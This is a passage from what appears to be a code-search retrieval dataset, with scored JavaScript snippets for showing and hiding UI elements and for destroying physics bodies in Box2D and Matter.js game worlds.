\"block\";\n\t}\n\telse {\n\t buttonClicked.style.display = \"none\";\n\t}\n\t// document.getElementById(id).style.color=\"#6495ed\"; //for changing the color of the button\n}", "title": "" }, { "docid": "25db4a3422060bc9495c44df0419aa98", "score": "0.54494333", "text": "onBecameHidden() {}", "title": "" }, { "docid": "f85ea88ca479de6fd2a8f64b4c949dce", "score": "0.5441582", "text": "hide(){\n this.entities.forEach(entity => entity.hidden = true);\n }", "title": "" }, { "docid": "af8f51561cb9dc8e19fb23f83fd6768f", "score": "0.54334366", "text": "close () {\n\t\tif (!this.obj || !this.is_visible) {\n\t\t\treturn;\n\t\t}\n\n\t\tthis.is_visible = false;\n\n\t\tthis.hideObj();\n\t}", "title": "" }, { "docid": "eef53cd3ff6bd2638b982f9e1d7a3ddc", "score": "0.5422681", "text": "function toggleInfo (object) {\n \n if (object.style.display === 'none') {\n object.style.display = 'block';\n } else {\n object.style.display = 'none';\n }\n}", "title": "" }, { "docid": "eac9a1ff9845bfd8d7d3e02460ba7782", "score": "0.5406611", "text": "get visible () {\n return this._visible;\n }", "title": "" }, { "docid": "c346e089b70d7f4102de1c8ad2a7cc42", "score": "0.53922254", "text": "excute () {\n\t\t// 更改当前面板中选中的对象信息\n\t\t// 点击模型类型的呈现物时修改当前的编辑面板,修改当前场景编辑器中要加载的呈现物模型数据\n\t\tindexStore.dispatch('changeClickObj', this.newClickObj);\n\t\tif (parseInt(this.newClickObj.type) == 1) {\n\t\t\tindexStore.dispatch('changeEditBoard', 'modelEditor');\n\t\t\tconsole.log(' 模型编辑器中的对象是: ----- ', this.newClickObj);\n\t\t\t// 清除当前场景中已经存在的模型\n\t\t\tglobalConfig.modelScene.clear();\n\t\t\t// 加载当前的3D 模型\n\t\t\tglobalConfig.modelScene.loadObjModel(this.newClickObj);\n\t\t\t\n\t\t};\n\t}", "title": "" }, { "docid": "d92fa517ec4d7d013b6031090231e498", "score": "0.5387008", "text": "show () {\n if (!this.isVisible()) {\n this.getElement().style.visibility = \"visible\";\n }\n }", "title": "" }, { "docid": "dba42487acb9e316f983ef2604f9f8d3", "score": "0.53843033", "text": "hide () {\n this.map.setLayoutProperty(this.id, 'visibility', 'none');\n this._visible = false;\n this._fire('updated');\n }", "title": "" }, { "docid": "3a46a58ac7b62dc7ee58c6dc34fd01d5", "score": "0.5383161", "text": "function qt_hide_layer(obj){\n\t_MM_showHideLayers(obj,'','hide')\n}", "title": "" }, { "docid": "3d67868e91597c5ab7c99d8065f38459", "score": "0.53756785", "text": "function toggleVisibility(obj, img)\n{\n\tif (!obj) {\n\t\treturn;\n\t}\n\tElement.extend(obj);\n\tif (obj.visible()) {\n\t\tobj.hide();\n\t\timg ? img.className = 'plus' : null;\n\t\treturn 'hidden';\n\t} else {\n\t\tobj.show();\n\t\timg ? img.className = 'minus' : null;\n\t\treturn 'visible';\n\t}\t\n}", "title": "" }, { "docid": "37f34406457137810bf21d8c247c352b", "score": "0.53744584", "text": "isVisible() { return this.visible; }", "title": "" }, { "docid": "4133b62891895c8d5b84348b5d3a3036", "score": "0.5366583", "text": "set toggle(value) {\n if (this.controller) {\n this.laserLine.visible = this.laserMarker.visible = value;\n //const line = this.controller.getObjectByName('line');\n //line.visible = value;\n } else {\n this.showRecticle = value;\n }\n }", "title": "" }, { "docid": "dbb14874711197aae87cd82e123291ad", "score": "0.53607744", "text": "function save() {\n document.getElementById(\"mySavedModel\").value = myDiagram.model.toJson(); \n myDiagram.isModified = false;\n //var button2 = document.getElementById(\"loadModel\"); \n //button2.disabled = false;\n }", "title": "" }, { "docid": "822e593dd7f5d5e739c7c0fd7f60e28e", "score": "0.5359514", "text": "toggle() {\n if (this.isVisible()) {\n this.hide();\n } else {\n this.display();\n }\n }", "title": "" }, { "docid": "d38712629d9d3168764067ad49a69531", "score": "0.53572637", "text": "setActions() {\r\n this.actions = {};\r\n this.actions.up = false;\r\n this.actions.down = false;\r\n this.actions.right = false;\r\n this.actions.left = false;\r\n this.actions.brake = false;\r\n this.actions.boost = false;\r\n \r\n // reset actions on unhide\r\n document.addEventListener('visibilitychange', () => {\r\n if (!document.hidden) {\r\n this.actions.up = false;\r\n this.actions.down = false;\r\n this.actions.right = false;\r\n this.actions.left = false;\r\n this.actions.brake = false;\r\n this.actions.boost = false;\r\n }\r\n });\r\n }", "title": "" }, { "docid": "7079bd498ef5feea1225ca23087edc2c", "score": "0.5344184", "text": "function changeVis(objNames, bool) {\n objNames = retrieveObjectNames(objNames);\n if (!objNames)\n return;\n for (var i = 0; i < objNames.length; i++) {\n var objName = objNames[i]\n if (!objName)\n continue;\n var obj = getObjectByName(objName);\n if (!obj)\n continue;\n obj.visible = bool;\n }\n}", "title": "" }, { "docid": "7079bd498ef5feea1225ca23087edc2c", "score": "0.5344184", "text": "function changeVis(objNames, bool) {\n objNames = retrieveObjectNames(objNames);\n if (!objNames)\n return;\n for (var i = 0; i < objNames.length; i++) {\n var objName = objNames[i]\n if (!objName)\n continue;\n var obj = getObjectByName(objName);\n if (!obj)\n continue;\n obj.visible = bool;\n }\n}", "title": "" }, { "docid": "7079bd498ef5feea1225ca23087edc2c", "score": "0.5344184", "text": "function changeVis(objNames, bool) {\n objNames = retrieveObjectNames(objNames);\n if (!objNames)\n return;\n for (var i = 0; i < objNames.length; i++) {\n var objName = objNames[i]\n if (!objName)\n continue;\n var obj = getObjectByName(objName);\n if (!obj)\n continue;\n obj.visible = bool;\n }\n}", "title": "" }, { "docid": "8b3977ddad8751ffef73aefa3fc98f7e", "score": "0.53378516", "text": "function hide() {\r\n\r\n if (!data.visible) {\r\n return;\r\n }\r\n data.visible = false;\r\n nodeParent.removeChild(o);\r\n o.style.visibility = 'hidden';\r\n\r\n }", "title": "" }, { "docid": "23b041c0866543bf82b207400d125f98", "score": "0.53369135", "text": "hide() {\n localStorage.setItem(\"customwelcomehero_welcomeHidden\", \"true\");\n\n this.hidden = true;\n }", "title": "" }, { "docid": "59d7c71c585199426ff118aa21e96b72", "score": "0.53362507", "text": "toggleVisible() {\n this.visible = !this.visible\n }", "title": "" }, { "docid": "5d4cf7608d79bff2db83d36ed821e212", "score": "0.53343016", "text": "function notIgnoredObj(obj) {\n return (obj.type != \"Scene\" && obj.type != \"AmbientLight\" &&\n obj.name != \"\" && !(obj.isMesh && obj.isMaterialGeneratedMesh));\n}", "title": "" }, { "docid": "b2ce7ac02346411578b049e2ee7a1c9e", "score": "0.5325663", "text": "function DisplayObject(){this.last=this,this.first=this,this.position=new Point,this.scale=new Point(1,1),this.pivot=new Point(0,0),this.rotation=0,this.alpha=1,this.visible=!0,this.hitArea=null,this.buttonMode=!1,this.renderable=!1,this.parent=null,this.stage=null,this.worldAlpha=1,this._interactive=!1,this.defaultCursor=\"pointer\",this.worldTransform=mat3.create(),this.localTransform=mat3.create(),this.color=[],this.dynamic=!0,this._sr=0,this._cr=1,this.filterArea=new Rectangle(0,0,1,1)}", "title": "" }, { "docid": "c6c1223002b02f3a8962bc3d5a537439", "score": "0.532395", "text": "function changeVis(objSelector, bool) {\n var objNames = retrieveObjectNames(objSelector);\n\n for (var i = 0; i < objNames.length; i++) {\n var objName = objNames[i]\n if (!objName)\n continue;\n var obj = getObjectByName(objName);\n if (!obj)\n continue;\n obj.visible = bool;\n }\n}", "title": "" }, { "docid": "4059e276c47629f2216f570230976d66", "score": "0.5319996", "text": "hide() {\n this._visible.next(false);\n }", "title": "" }, { "docid": "4059e276c47629f2216f570230976d66", "score": "0.5319996", "text": "hide() {\n this._visible.next(false);\n }", "title": "" }, { "docid": "d1d193607dc537a627690349ddf22c0e", "score": "0.5319723", "text": "function changeVisibility () {\n document.getElementById(\"magic\").style.visibility =\"hidden\"\n}", "title": "" }, { "docid": "c0f0a30012e1b727f057f5b5cf6612ea", "score": "0.53147817", "text": "function changeVisibility() {\n document.getElementById('magic').style.visibility='hidden';\n document.getElementById('magic').style.display='block';\n}", "title": "" }, { "docid": "0425ebc80aef37b54164db158548ffe5", "score": "0.53147423", "text": "set gameObject(value) {}", "title": "" }, { "docid": "0425ebc80aef37b54164db158548ffe5", "score": "0.53147423", "text": "set gameObject(value) {}", "title": "" }, { "docid": "0425ebc80aef37b54164db158548ffe5", "score": "0.53147423", "text": "set gameObject(value) {}", "title": "" }, { "docid": "d7f0e74dce1c1f020d09870a9d6c0d5d", "score": "0.53146625", "text": "function setEdit(){ \r\n self.btnSave.enabled = self.isEditable; \r\n}", "title": "" }, { "docid": "41a5664e8a2a69b27472477adeb56b98", "score": "0.53133225", "text": "function detailHideGame() {\n\tvar movie = document.getElementById('movie');\n\tvar enableFlash = document.getElementById('enable-flash');\n\tvar preview = document.getElementById('preview-box');\n\tpreview.style.display = 'block';\n\tmovie.style.visibility = 'hidden';\n\tif(enableFlash) {\n\t\tenableFlash.style.visibility = 'hidden';\n\t}\n}", "title": "" }, { "docid": "0df9b7d932631a56bb04ba232dbbc22b", "score": "0.5310772", "text": "get hidden() {\n return this.args.hidden || false;\n }", "title": "" }, { "docid": "5dc0833b92bb47a18b957dc87c778783", "score": "0.53089523", "text": "handleSuccess(){\n this.isEditVisible = false;\n this.isViewVisible = true;\n this.isStencilVisible = true;\n }", "title": "" }, { "docid": "da1d29f18a7f15f9d536d16c1366926e", "score": "0.52860886", "text": "toggle() {\n this.isVisible = !this.isVisible;\n }", "title": "" }, { "docid": "b727b7146fac2dfcaf59ceaaf9282e55", "score": "0.5285296", "text": "function onToolsVisible(bo)\r\n{\r\n\tgetMovie(\"main\").onToolsVisible(bo);\r\n}", "title": "" }, { "docid": "1661df3ef0dcef5eba0ce46f9047a1d5", "score": "0.527731", "text": "function show(obj) {\r\n\tif(obj) {\r\n\t\tif (ns4) {\t\r\n\t\t\tobj.visibility = 'visible';\r\n\t\t} else if(ie5) {\r\n\t\t\tobj.style.display = 'block';\r\n\t\t\tobj.style.visibility = 'visible';\r\n\t\t} else if (ie4) {\r\n\t\t\tobj.style.visibility = 'visible';\r\n\t\t} else if (ns6) {\r\n\t\t\tobj.style.display = 'block';\r\n\t\t\tobj.style.visibility = 'visible';\t\t\t\r\n\t\t}\r\n\t}\r\n}", "title": "" }, { "docid": "8218ab1e129e8fa3b66666157c890124", "score": "0.527398", "text": "hide () {\n if (this.isVisible()) {\n this.getElement().style.visibility = \"hidden\";\n }\n }", "title": "" }, { "docid": "403e5397da386988a4503b9a2bc5d3d5", "score": "0.5273947", "text": "function OnBecameInvisible()\n{\n\tDestroy(this.gameObject);\n}", "title": "" } ]
0e8f1355e5d100b96acce42b06ec49e5
destroy this body, removing it from the box2d world
[ { "docid": "7428b489b754717f78ada18940c1d299", "score": "0.7238673", "text": "remove() {\n this.world.DestroyBody(this.body);\n this.removed = true;\n //remove all joints that were attached to this body\n creature.removeJointsAttachedToADestroyedBody();\n }", "title": "" } ]
[ { "docid": "4ab6a62274948c6b65f053fba348a698", "score": "0.7999244", "text": "killBody() {\n world.DestroyBody(this.body);\n }", "title": "" }, { "docid": "879489a3cbb3851900fa82ee3186f811", "score": "0.79048055", "text": "onRemoveFromWorld() {\n //game.physicsEngine.world.removeBody(this.physicsObj);\n }", "title": "" }, { "docid": "36e7ebdc3718b4a2515faa2ab979941e", "score": "0.77528644", "text": "remove() {\n\t\tMatter.World.remove(world, this.body);\n\t}", "title": "" }, { "docid": "503c11c8dd0e7f27c8e21291e4693519", "score": "0.74047184", "text": "delete() {\n Matter.World.remove(world, this.body);\n }", "title": "" }, { "docid": "1aeec32bc93cbd2ecdf92f8501455017", "score": "0.73610455", "text": "destroy() {\n this.removeFromWorld = true;\n }", "title": "" }, { "docid": "13ce44aa0e5e0fe051305b84f56fd051", "score": "0.69480413", "text": "removeObject(obj) {\n this.world.removeBody(obj)\n }", "title": "" }, { "docid": "01660f8332cf8895784297e3e6eed97a", "score": "0.6879561", "text": "destroy(obj) {\r\n var _a;\r\n (_a = this.physics) === null || _a === void 0 ? void 0 : _a.destroy(obj.body);\r\n this.scene.remove(obj);\r\n // @ts-ignore\r\n obj = null;\r\n }", "title": "" }, { "docid": "71cf533c46775c6b2f12ef5d8d7cc3e0", "score": "0.67647123", "text": "destroy()\n {\n this.body = undefined;\n this.off();\n }", "title": "" }, { "docid": "797e9884f0f1d05135c907fb28ab89c1", "score": "0.6677357", "text": "destroy() {\n if (this.body !== undefined){\n this.body.enable = false;\n }\n super.destroy();\n }", "title": "" }, { "docid": "dab04423f8da46e6becf7d6ad42cb012", "score": "0.65268713", "text": "destroy() {\n this.stage.removeEntity(this);\n }", "title": "" }, { "docid": "cffd1318349e9a3a2af43be65b17914d", "score": "0.65075016", "text": "function cleanup() {\n\n\t\t///remove all gui objects\n\t\tfor ( var i = scene.children.length - 1; i >= 0; i--) {\n\t\t\tscene.remove(scene.children[i]);\n\t\t}\n\t\t\n\t\t//remove all physics objects\n\t\tvar body;\n\t\twhile (body = scene.box2dworld.GetBodyList().GetNext()){\n\t\t\tscene.box2dworld.DestroyBody(body);\n\t\t}\n\t\t\n\t\tsyncedObjects = [];\n\t}", "title": "" }, { "docid": "a06e649963f63c3b3f8783620c52ab79", "score": "0.6504844", "text": "function clear_world(){\r\n\tfor ( var i = World.children.length - 1; i >= 0 ; i -- ) {\r\n\t\tWorld.remove(World.children[ i ]);\r\n\t}\r\n\tmicrophysics = new THREEx.Microphysics();\r\n\tmicrophysics.start();\r\n\tmicrophysics.bindMesh(character,{physics: { restitution : 0.2 }});\r\n\tmicrophysics.world().add(new vphy.LinearAccelerator({\r\n\t x : 0,\r\n\t y : -9.8*20,\r\n\t z : 0\r\n\t}));\r\n\tworld_index=0;\r\n}", "title": "" }, { "docid": "35e8357819c6f70bf058afb318e19bc1", "score": "0.6495009", "text": "function removeBox() {\n\tscene.remove( box );\n}", "title": "" }, { "docid": "75485b3d7f2b8a367ccab06016fdaebb", "score": "0.64632493", "text": "undraw() {\n\t\tPhysicsManager.getPM().world.remove(this.element);\n\t}", "title": "" }, { "docid": "1dcd2753e811c67014d6defddffff539", "score": "0.641267", "text": "shutdown()\n {\n super.shutdown();\n this.bodies = [];\n this.colliders = [];\n }", "title": "" }, { "docid": "3aba61ca3206764e81ec6c7f9fa6ec89", "score": "0.6333313", "text": "removeFromScene(){\r\n\t\tthis.active=false;\r\n\t\t//this.object.material.dispose();\r\n\r\n\t\t//this.object.mesh.dispose(); // new\r\n\t\t//this.object.geometry.dispose();\r\n\t\t//console.log(\"object disposed\");\r\n\t\t//texture.dispose();\r\n\t\tscene.remove(this.object);\r\n\t\t//delete this.object;\r\n\t}", "title": "" }, { "docid": "cfe43cc21ee53afe0a9aefff932c7963", "score": "0.6310607", "text": "function destroy() {\n var i,\n obj;\n for (i = scene.children.length - 1; i >= 0; i--) {\n obj = scene.children[i];\n scene.remove(obj);\n }\n }", "title": "" }, { "docid": "629b4496ef703c5902accbe7cef3c27a", "score": "0.62799954", "text": "function createWorld() {\n //Gravity vector x, y - 10 m/s2 - thats earth!!\n //var gravity = new b2Vec2(0, -10);\n var gravity = new b2Vec2(0, 00);\n\n world = new b2World(gravity, true);\n\n //setup debug draw\n var debugDraw = new b2DebugDraw();\n debugDraw.SetSprite(document.getElementById(\"canvas\").getContext(\"2d\"));\n debugDraw.SetDrawScale(scale);\n debugDraw.SetFillAlpha(0.5);\n debugDraw.SetLineThickness(1.0);\n debugDraw.SetFlags(b2DebugDraw.e_shapeBit | b2DebugDraw.e_jointBit);\n\n world.SetDebugDraw(debugDraw);\n\n //create some objects\n\n //create the enclosing boundary\n var fixDef = new b2FixtureDef;\n fixDef.density = 1.0;\n fixDef.friction = 1000;\n fixDef.restitution = 0.1; //bouncing value\n var bodyDef = new b2BodyDef;\n bodyDef.userData = 'obstacle'; // canvas is {1120, 630}\n bodyDef.type = b2Body.b2_staticBody;\n fixDef.shape = new b2PolygonShape;\n fixDef.shape.SetAsBox(canvas_width / scale, 2);//width, height\n bodyDef.position.Set(10, canvas_height / scale + 1.8); //bottom\n ground = world.CreateBody(bodyDef);\n ground.m_angularDamping = 8.0;\n ground.CreateFixture(fixDef);\n bodyDef.position.Set(2, -1.8); //top\n world.CreateBody(bodyDef).CreateFixture(fixDef);\n fixDef.shape.SetAsBox(2, canvas_height / scale);//width, height\n bodyDef.position.Set(-1.8, 13); //left\n world.CreateBody(bodyDef).CreateFixture(fixDef);\n bodyDef.position.Set(canvas_width / scale + 1.8, 13); // right side\n world.CreateBody(bodyDef).CreateFixture(fixDef);\n\n //Creating the box\n /* bodyDef.type = b2Body.b2_dynamicBody;\n fixDef.density = 1000.0;\n fixDef.friction = 1000.0;\n fixDef.restitution = 0.2; //bouncing value\n bodyDef.position.Set(30, 30);\n bodyDef.userData = 'moveable';\n bodyDef.angle = 0 * Math.PI / 180;\n fixDef.shape = new b2PolygonShape;\n //fixDef.shape.b2PolygonShape(6.0);\n fixDef.shape.SetAsBox(0.5, 4);\n var obst = world.CreateBody(bodyDef);\n obst.CreateFixture(fixDef);\n obst.m_angularDamping = 8000.0;\n obst.m_linearDamping = 8000.0;*/\n\n //long rod with a notch\n bodyDef.type = b2Body.b2_dynamicBody;\n bodyDef.position.Set(30, 30);\n bodyDef.userData = 'rod1';\n //bodyDef.angle = 1.67;\n fixDef.density = 5.0;\n fixDef.friction = 5.0;\n fixDef.restitution = 0.2;\n var body = world.CreateBody(bodyDef);\n var polys = [\n //[{ x: -0.5, y: -0.45 }, { x: 0.5, y: -0.6 }, { x: 0.5, y: 0.6 }, { x: -0.5, y: 0.45 }], // box\n [{ x: -0.5, y: -0.01 }, { x: 0.5, y: -0.6 }, { x: 0.5, y: 0.6 }, { x: -0.5, y: 0.01 }],\n [{ x: 0.5, y: -4.0 }, { x: 1.5, y: -4.0 }, { x: 1.5, y: 4.0 }, { x: 0.5, y: 4.0 }]\n ]\n\n for (var j = 0; j < polys.length; j++) {\n var points = polys[j];\n var vecs = [];\n for (var i = 0; i < points.length; i++) {\n var vec = new b2Vec2();\n vec.Set(0.5 + points[i].x, points[i].y);\n vecs[i] = vec;\n }\n fixDef.shape = new b2PolygonShape;\n fixDef.shape.SetAsArray(vecs, vecs.length);\n body.CreateFixture(fixDef);\n body.m_angularDamping = 8.0;\n body.m_linearDamping = 8.0;\n }\n\n //mirrored rod\n bodyDef.type = b2Body.b2_dynamicBody;\n bodyDef.position.Set(20, 25);\n bodyDef.userData = 'rod2';\n fixDef.density = 5.0;\n fixDef.friction = 5.0;\n fixDef.restitution = 0.2;\n var body = world.CreateBody(bodyDef);\n var polys = [\n //[{ x: 1.5, y: -4.0 }, { x: 2.5, y: -4.0 }, { x: 2.5, y: -0.75 }, { x: 1.5, y: -0.5 }],\n //[{ x: 1.5, y: 4.0 }, { x: 2.5, y: 4.0 }, { x: 2.5, y: 0.75 }, { x: 1.5, y: 0.5 }],\n //[{ x: 0.5, y: -4.0 }, { x: 1.5, y: -4.0 }, { x: 1.5, y: 4.0 }, { x: 0.5, y: 4.0 }]\n\n [{ x: 0.5, y: -5.0 }, { x: 2.5, y: -5.0 }, { x: 2.5, y: -1.75 }, { x: 1.5, y: -1.0 }, { x: 0.5, y: -1.0 }],\n [{ x: 0.5, y: -1.0 }, { x: 1.5, y: -1.0 }, { x: 2.5, y: -0.25 }, { x: 2.5, y: 3.0 }, { x: 0.5, y: 3.0 }]\n ]\n\n for (var j = 0; j < polys.length; j++) {\n var points = polys[j];\n var vecs = [];\n for (var i = 0; i < points.length; i++) {\n var vec = new b2Vec2();\n vec.Set(-1.5 + points[i].x, 1.0 + points[i].y);\n vecs[i] = vec;\n }\n fixDef.shape = new b2PolygonShape;\n fixDef.shape.SetAsArray(vecs, vecs.length);\n body.CreateFixture(fixDef);\n body.m_angularDamping = 8.0;\n body.m_linearDamping = 8.0;\n }\n\n var fixDef = new b2FixtureDef;\n fixDef.shape = new b2CircleShape(0.5);\n fixDef.density = 1.0;\n fixDef.friction = 0.0;\n fixDef.restitution = 0.1; //bouncing value\n \n\n //body defs\n var bodyDef = new b2BodyDef;\n bodyDef.type = b2Body.b2_dynamicBody;\n\n var numrobots = 20;\n var robotrad = 0.5;\n var rowLength = 5;\n\n for (var i = 0; i < numrobots; ++i) {\n bodyDef.userData = 'robot';\n //bodyDef.position.x = 40 - i * 2;\n //bodyDef.position.y = 40 - i;\n //bodyDef.linearVelocity.y = .05;\n bodyDef.position.x = 40 + (i % rowLength) * 2 * robotrad;\n bodyDef.position.y = 30 - Math.floor(i / rowLength) * 2 * robotrad;\n m_Robot[i] = world.CreateBody(bodyDef);\n m_Robot[i].CreateFixture(fixDef);\n m_Robot[i].m_angularDamping = 1;\n m_Robot[i].m_linearDamping = 1;\n\n }\n\n //Listener and keycode switch for intended velocity change\n window.addEventListener(\"keydown\", onKeyDown, false);\n window.addEventListener(\"keyup\", onKeyUp, false);\n\n//m_Robot[i].SetLinearVelocity( new b2Vec2(0,0) );\n//m_Robot[i].ApplyForce(impulseV,m_Robot[i].GetWorldPoint(new b2Vec2(0,0)));\n\n function onKeyDown(e) {\n switch(e.keyCode){ // |= sets\n case 37: m_controlState |= ROBOT_INPUT.ROBOT_LEFT; break; \n case 38: m_controlState |= ROBOT_INPUT.ROBOT_UP; break;\n case 39: m_controlState |= ROBOT_INPUT.ROBOT_RIGHT; break;\n case 40: m_controlState |= ROBOT_INPUT.ROBOT_DOWN; break;\n }\n }\n function onKeyUp(e) {\n switch(e.keyCode){ // &=~ resets\n case 37: m_controlState &= ~ROBOT_INPUT.ROBOT_LEFT; break;\n case 38: m_controlState &= ~ROBOT_INPUT.ROBOT_UP; break;\n case 39: m_controlState &= ~ROBOT_INPUT.ROBOT_RIGHT; break;\n case 40: m_controlState &= ~ROBOT_INPUT.ROBOT_DOWN; break;\n }\n }\n return world;\n }", "title": "" }, { "docid": "7a35ec5a4ee6d5066f8aac668a3e1851", "score": "0.6277658", "text": "destroy() {\n this.center.destroy();\n this.axis.destroy();\n this.isDestroyed = true;\n }", "title": "" }, { "docid": "eaff885bd77f64c04708f0b825e5c3ad", "score": "0.627547", "text": "onDestroyEvent() {\n me.input.unbindKey(me.input.KEY_LEFT);\n me.input.unbindKey(me.input.KEY_RIGHT);\n me.input.unbindKey(me.input.KEY_A);\n me.input.unbindKey(me.input.KEY_D);\n me.input.unbindKey(me.input.KEY.SPACE);\n\n me.game.world.removeChild(this.player);\n me.game.world.removeChild(this.colorLayer);\n me.game.world.removeChild(this.enemyManager);\n me.game.world.removeChild(this.scoreCard);\n }", "title": "" }, { "docid": "f74868bbc4d01eb1446ccd84f991b8ef", "score": "0.62076914", "text": "onDestroy() {\n this.alive = false;\n clearInterval(this.aimAnimationInterval);\n clearInterval(this.vanishInterval);\n clearTimeout(this.shootBeamTimeout);\n this.rightTurret.destroy();\n this.leftTurret.destroy();\n this.aimGraphics.clear();\n this.aimGraphics.destroy();\n this.beamGraphics.clear();\n this.beamGraphics.destroy();\n if (this.leftBeamLine) { this.leftBeamLine.active = false; }\n if (this.rightBeamLine) { this.rightBeamLine.active = false; }\n }", "title": "" }, { "docid": "3eec95de52168ce856a8b1a2b5722b2d", "score": "0.61717993", "text": "destroy() {\n this.hide();\n\n this.hammer.destroy();\n this.hammer = null;\n\n this.body = null;\n }", "title": "" }, { "docid": "7fbb1870da4ca3fb3e815b58385b60bb", "score": "0.61717224", "text": "destroy()\n {\n this.frameBuffer.destroy();\n\n this.frameBuffer = null;\n this.texture = null;\n }", "title": "" }, { "docid": "c1fd0ce8459180c9c9d3c20a14b2db99", "score": "0.61703384", "text": "destroy()\n {\n this.unbindEvents();\n\n this.interactions = null;\n this.objects = null;\n this.domElement = null;\n\n this.onInteraction.detachAll();\n this.onInteraction = null;\n }", "title": "" }, { "docid": "e93a24d26202eec26d11b340bac35dc5", "score": "0.6139928", "text": "reset() {\n this.world.DestroyBody(this.body);\n this.body = this.world.CreateBody(this.bodyDef);\n this.body.SetUserData(this);\n for (var f of this.fixtures) {\n f.addToBody(this);\n }\n\n }", "title": "" }, { "docid": "dcb3c060b2cf4fd6b0df4f15792af7fe", "score": "0.6118594", "text": "destroy()\n {\n this.removeAllListeners();\n if (this.parent)\n {\n this.parent.removeChild(this);\n }\n this.transform = null;\n\n this.parent = null;\n\n this._bounds = null;\n this._currentBounds = null;\n this._mask = null;\n\n this.filterArea = null;\n\n this.interactive = false;\n this.interactiveChildren = false;\n }", "title": "" }, { "docid": "3dec390a4fa069f168dae0dc32592f6f", "score": "0.60986656", "text": "destroy() {\n this.doc_.getBody().removeChild(this.fadeBackground_);\n }", "title": "" }, { "docid": "c56a2b022c1cdd78f5f809a424c5a3a0", "score": "0.60910183", "text": "function dropDeadBody(targetPlayer) {\n\n // Clone the target player's material color\n var bodyMaterials = new THREE.MeshPhongMaterial( {\n color: targetPlayer.material.color,\n ambient: targetPlayer.material.color, // should generally match color\n specular: 0x050505,\n shininess: 100\n }),\n\n // Create body geometry and physics material\n bodyGeometry = new THREE.CubeGeometry( 1, 1, 2, 1, 1, 1),\n bodyPhysicsMaterial = Physijs.createMaterial(\n bodyMaterials,\n .8, // high friction\n .4 // low restitution\n ),\n\n // Create the body mesh\n body = new Physijs.BoxMesh(\n bodyGeometry,\n bodyPhysicsMaterial,\n 0.5\n );\n\n // Of course bodies cast and receive shadows...\n body.castShadow = true;\n body.receiveShadow = true;\n\n // Apply collision masks such that bodys only collide with limited things\n body._physijs.collision_type = CollisionTypes.BODY;\n body._physijs.collision_masks = CollisionMasks.BODY;\n\n // Apply current target player's position and rotation matrices\n body.matrix.copy(targetPlayer.matrix);\n body.matrixWorld.copy(targetPlayer.matrixWorld);\n body.position.copy(targetPlayer.position);\n\n // Add the body to the world and let the hilarity commence\n scene.add( body );\n\n}", "title": "" }, { "docid": "213f92f19c891e503f7aed4ae4df6721", "score": "0.60907745", "text": "handleBoundaryContact() {\n game.removeSprite(this);\n \n }", "title": "" }, { "docid": "ee7406e7b16056ecabdd4532c9e9d5aa", "score": "0.6013954", "text": "destroy() {\n g_game._map.deleteComponent(this._position);\n }", "title": "" }, { "docid": "255eed5c2adabe5e2ddf365e10511408", "score": "0.5991147", "text": "clearRoom() {\n\n // delete old objects\n this.teleports.forEach((t) => {\n t.destroy();\n });\n this.walls.forEach((w) => {\n w.destroy();\n });\n this.decor.forEach((d) => {\n d.destroy();\n });\n\n // delete background\n this.bg.destroy();\n\n }", "title": "" }, { "docid": "7aaaa2e246406a7d2efb9f24d38d2a2c", "score": "0.596191", "text": "destroy({scene, name=this.threejsObject.name}){\n console.log(`FireTower destroy called`);\n let object3d = scene.getObjectByName(name);\n scene.remove(object3d);\n signal.unregisterSignals(this);\n clearInterval(this.fireBulletIntervalId);\n }", "title": "" }, { "docid": "9111060351eb80c874d1f3e0e162935d", "score": "0.5941194", "text": "destroy() {\n this.sizes.off('resize') // off removes event emitter\n this.time.off('tick')\n\n // have to check everything you have!!\n\n this.scene.traverse((child) => {\n if (child instanceof THREE.Mesh) {\n child.geometry.dispose()\n\n for (const key in child.material) {\n const value = child.material[key]\n if (value && typeof value.dispose === 'function') {\n value.dispose()\n }\n }\n }\n })\n\n this.camera.controls.dispose()\n this.renderer.instance.dispose()\n\n // make sure to dispose postprocessing (dispose EffectComposer its WebGLRenderTarger and any potential passes you are using)\n // dispose debug\n\n this.debug.ui.destroy()\n\n // removing the canvas could also be done. Once you dispose of everything an image will remain that is the canvas.\n // also remove eventListeners (this is just JS)\n }", "title": "" }, { "docid": "3f221e920e637c9eeef23545d57d563b", "score": "0.59152675", "text": "destroy()\n {\n this.vertexBuffer.destroy();\n this.indexBuffer.destroy();\n this.vao.destroy();\n\n this.gl = null;\n this.vertices = null;\n this.uvs = null;\n this.interleaved = null;\n this.indices = null;\n }", "title": "" }, { "docid": "7a04696435b8da636ba11d8bde76baaa", "score": "0.59126383", "text": "destroy() {\r\n try {\r\n this.cypherpoker.p2p.removeEventListener(\"message\", this.handleP2PMessage);\r\n } catch (err) {}\r\n try {\r\n this.analyzer.removeEventListener(\"scored\", this.onGameAnalyzed);\r\n this.analyzer.removeGameListeners();\r\n this._analyzer = null;\r\n } catch (err) {}\r\n try {\r\n this.contract.stopContractTimeout();\r\n this.contract.removeNetworkEventListeners();\r\n this.contract.removeGameEventListeners();\r\n this._contract = null;\r\n } catch (err) {}\r\n this.DOMElement.remove();\r\n }", "title": "" }, { "docid": "d77d4d458e8dfc64ba2ab2b9fad21374", "score": "0.59052986", "text": "done() {\n // Let's find the screen position of the shape\n var pos = scaleToPixels(this.body.GetPosition());\n // Is it off the bottom of the screen?\n if (pos.y > height + this.h/2) {\n // destroy body from world\n world.DestroyBody(this.body);\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "3dc24a77c70ca98c0182e6a9c4f08159", "score": "0.589724", "text": "RemoveBody(body) {\n //Assert that the controller is not empty\n if (this.m_bodyCount <= 0) {\n throw new Error();\n }\n //Find the corresponding edge\n /*b2ControllerEdge*/\n let edge = this.m_bodyList;\n while (edge && edge.body !== body) {\n edge = edge.nextBody;\n }\n //Assert that we are removing a body that is currently attached to the controller\n if (edge === null) {\n throw new Error();\n }\n //Remove edge from controller list\n if (edge.prevBody) {\n edge.prevBody.nextBody = edge.nextBody;\n }\n if (edge.nextBody) {\n edge.nextBody.prevBody = edge.prevBody;\n }\n if (this.m_bodyList === edge) {\n this.m_bodyList = edge.nextBody;\n }\n --this.m_bodyCount;\n //Remove edge from body list\n if (edge.nextController) {\n edge.nextController.prevController = edge.prevController;\n }\n if (edge.prevController) {\n edge.prevController.nextController = edge.nextController;\n }\n if (body.m_controllerList === edge) {\n body.m_controllerList = edge.nextController;\n }\n --body.m_controllerCount;\n }", "title": "" }, { "docid": "ab74d03ee466739c5e2cc9d46a2747d9", "score": "0.5895662", "text": "function destroy() {\n if (buffer) {\n gl.deleteBuffer(buffer);\n buffer 